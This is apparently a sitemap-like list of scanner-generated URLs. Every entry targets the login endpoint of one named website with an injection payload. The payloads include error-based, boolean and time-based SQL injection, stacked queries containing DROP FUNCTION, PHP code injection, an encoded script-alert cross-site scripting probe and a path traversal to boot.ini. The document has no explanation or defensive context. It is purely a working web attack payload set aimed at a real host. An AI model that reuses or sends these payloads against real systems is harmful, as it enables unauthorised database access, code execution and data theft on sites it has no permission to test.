http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%2024=24%20AND%20('aT'='aT 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%2054=23%20AND%20('yv'='yv 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%2071=71%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%2082=71%20AND%20('BO'='BO 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20OR%2063=63%20AND%20('zE'='zE 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20OR%2087=15%20AND%20('Eye'='Eye 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=61)%20THEN%20'login_simple'%20ELSE%200x28%20END))%20AND%20('pF'='pF 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=18)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20('1b'='1b 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=75)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20('fS'='fS 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(65=65)%20THEN%20'login_simple'%20ELSE%200x28%20END))%20AND%20('yI'='yI 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple';%20IF(35=27)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple';%20IF(78=78)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(32=21)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20(32=32 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(54=54)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%200x28%20END))%20AND%20(35=35 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple);%20IF(61=61)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple);%20IF(86=61)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2031*(SELECT%2031%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20(CASE%20WHEN%20(34=41)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2034*(SELECT%2034%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20(CASE%20WHEN%20(49=49)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20(CASE%20WHEN%20(82=22)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20(CASE%20WHEN%20(98=15)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2098*(SELECT%2098%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20(CASE%20WHEN%20(98=98)%20THEN%200x6C6F67696E5F73696D706C65%20ELSE%2098*(SELECT%2098%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simple/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simpleAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=login_simplealert(42873) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&referer=index.php&statfrom=response.write(9412458*9542755) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=%3Cdir 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=');print(md5(1122));// 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(18=19)%20THEN%200x696E6465782E706870%20ELSE%2018*(SELECT%2018%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(38=38)%20THEN%200x696E6465782E706870%20ELSE%2038*(SELECT%2038%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x696E6465782E706870%20ELSE%2041*(SELECT%2041%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(51=58)%20THEN%200x696E6465782E706870%20ELSE%2051*(SELECT%2051%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(56=32)%20THEN%200x696E6465782E706870%20ELSE%2056*(SELECT%2056%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(56=56)%20THEN%200x696E6465782E706870%20ELSE%2056*(SELECT%2056%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(71=71)%20THEN%200x696E6465782E706870%20ELSE%2071*(SELECT%2071%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(75=75)%20THEN%200x696E6465782E706870%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(95=43)%20THEN%200x696E6465782E706870%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20(CASE%20WHEN%20(97=66)%20THEN%200x696E6465782E706870%20ELSE%2097*(SELECT%2097%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=;print(md5(1122));%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=ELT(14=15,0x696E6465782E706870) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=ELT(59=59,0x696E6465782E706870) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=MAKE_SET(25=22,0x696E6465782E706870) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=MAKE_SET(66=66,0x696E6465782E706870) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%00' 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/connect.php?mod=login&op=init&statfrom=login_simple&referer=index.php%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 